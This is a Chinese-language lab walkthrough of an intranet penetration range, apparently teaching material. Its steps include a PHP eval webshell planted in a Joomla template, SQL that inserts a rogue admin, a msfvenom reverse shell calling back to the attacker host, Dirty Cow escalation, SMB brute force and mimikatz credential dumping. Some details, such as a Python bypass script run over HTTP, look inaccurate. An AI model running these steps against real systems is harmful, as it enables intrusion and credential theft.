一次简单的内网渗透靶场实战2
字数 1845 2025-08-05 08:19:43
内网渗透靶场实战教学文档
环境概述
网络拓扑
- 攻击机: Kali Linux (192.168.1.10)
- 靶场环境:
- CentOS(外网): 192.168.1.110
- CentOS(内网): 192.168.93.100
- Ubuntu: 192.168.93.120
- 域内主机:
- Winserver2012(域控): 192.168.93.10
- Winserver2008: 192.168.93.20
- Windows7: 192.168.93.30
初始条件
- 黑盒测试环境
- 不提供虚拟机账号密码
- 目标: 获取域控中的flag
渗透测试流程
1. 外网信息收集
端口扫描
nmap -T4 -sC -sV 192.168.1.110
发现开放端口:
- 22 (SSH)
- 80 (HTTP)
- 3306 (MySQL)
Web应用分析
- 发现Joomla CMS框架
- 尝试3.4.6及以下版本的RCE漏洞利用失败,说明版本较高
目录扫描
使用dirsearch发现敏感文件:
configuration.php
文件中发现数据库凭据:
public $user = 'root';
public $password = 'root';
2. 数据库利用
MySQL连接
使用Navicat连接MySQL服务:
- 主机: 192.168.1.110
- 用户名: root
- 密码: root
Joomla管理员账户创建
在umnbt_users表中发现加密密码,无法直接解密。采用Joomla官方提供的SQL语句创建新管理员:
INSERT INTO `umnbt_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`, `resetCount`, `sendEmail`, `otpKey`, `otep`, `requireReset`, `block`) VALUES
('Administrator2', 'admin2', '$2y$10$92nrT5vUO2XRCU4H8GRWQeI3k0V9vxYVDXjQ8Z.o4w8X3J3cJQd9K', '', NOW(), NOW(), NOW(), 0, 0, '', '', 0, 0);
INSERT INTO `umnbt_user_usergroup_map` (`user_id`, `group_id`) VALUES (LAST_INSERT_ID(), 8);
- 新账户: admin2/secret
3. Web后门植入
后台登录
使用新创建的管理员账户登录Joomla后台
模板编辑后门
路径: Extensions → Templates → Templates → Beez3 → 编辑index.php
插入变形的一句话木马:
<?php eval($_POST['ant']); ?>
蚁剑连接
使用中国蚁剑连接Webshell:
- URL: http://192.168.1.110/templates/beez3/index.php
- 密码: ant
4. 绕过disable_functions
方法一: 蚁剑插件
使用蚁剑自带的"绕过disable_functions"插件上传.antproxy.php
方法二: Python脚本
上传绕过脚本并通过传参执行命令:
import os
def system(cmd):
return os.popen(cmd).read()
访问: http://192.168.1.110/bypass.py?cmd=whoami
5. 内网发现
网络配置分析
发现实际网络环境:
- 外网IP: 192.168.1.110 (Nginx反向代理)
- 内网IP: 192.168.93.100
SSH横向移动
在缓存目录发现MySQL凭据文件(test.txt),尝试SSH登录:
ssh root@192.168.1.110 -p 22
密码: 从test.txt获取
6. 权限提升
Dirty Cow提权
编译执行脏牛漏洞利用程序:
gcc -pthread dirty.c -o dirty -lcrypt
./dirty 123456
创建高权限用户:
- 用户名: firefart
- 密码: 123456
7. 内网渗透
MSF会话建立
生成Linux payload:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf > payload.elf
MSF监听:
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
exploit
内网路由配置
添加路由:
route add 192.168.93.0 255.255.255.0 1
SOCKS代理
use auxiliary/server/socks_proxy
set version 4a
run
配置proxychains:
echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf
8. 内网扫描
主机发现
proxychains nmap -sn 192.168.93.0/24
发现存活主机:
- 192.168.93.10 (域控)
- 192.168.93.20
- 192.168.93.30
端口扫描
proxychains nmap -T4 -sC -sV 192.168.93.10,20,30
关键发现:
- 192.168.93.10: 开放88(Kerberos)、389(LDAP)端口,确认为域控
- 192.168.93.20: 开放1433(MSSQL)端口
- 192.168.93.30: 常规端口,域成员主机
9. 横向移动
SMB密码爆破
use auxiliary/scanner/smb/smb_login
set rhosts 192.168.93.20
set SMBUser Administrator
set PASS_FILE /tmp/1W.txt
run
获取密码: 123qwe!ASD
Psexec利用
psexec.py administrator:'123qwe!ASD'@192.168.93.20
Mimikatz抓取凭证
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
获取域管凭证:
- 用户名: Administrator
- 密码: zxcASDqw123!!
10. 域控攻陷
IPC连接
net use \\192.168.93.10\IPC$ "zxcASDqw123!!" /user:Administrator
Flag获取
type \\192.168.93.10\C$\users\Administrator\Documents\flag.txt
关键知识点总结
-
Joomla漏洞利用:
- 低版本RCE漏洞尝试
- 通过数据库添加管理员账户
- 模板编辑植入后门
-
Linux提权技术:
- Dirty Cow本地提权
- disable_functions绕过技术
-
内网渗透技术:
- Nginx反向代理识别
- 双网卡主机利用
- MSF路由与SOCKS代理配置
-
Windows域渗透:
- SMB密码爆破
- Psexec横向移动
- Mimikatz凭证抓取
- IPC$共享利用
-
工具使用:
- Nmap扫描技巧
- Dirsearch目录爆破
- 蚁剑Webshell管理
- Proxychains代理链
本实战演示了从外网渗透到内网横向移动,最终获取域控权限的完整流程,涵盖了多种渗透测试技术和工具的使用方法。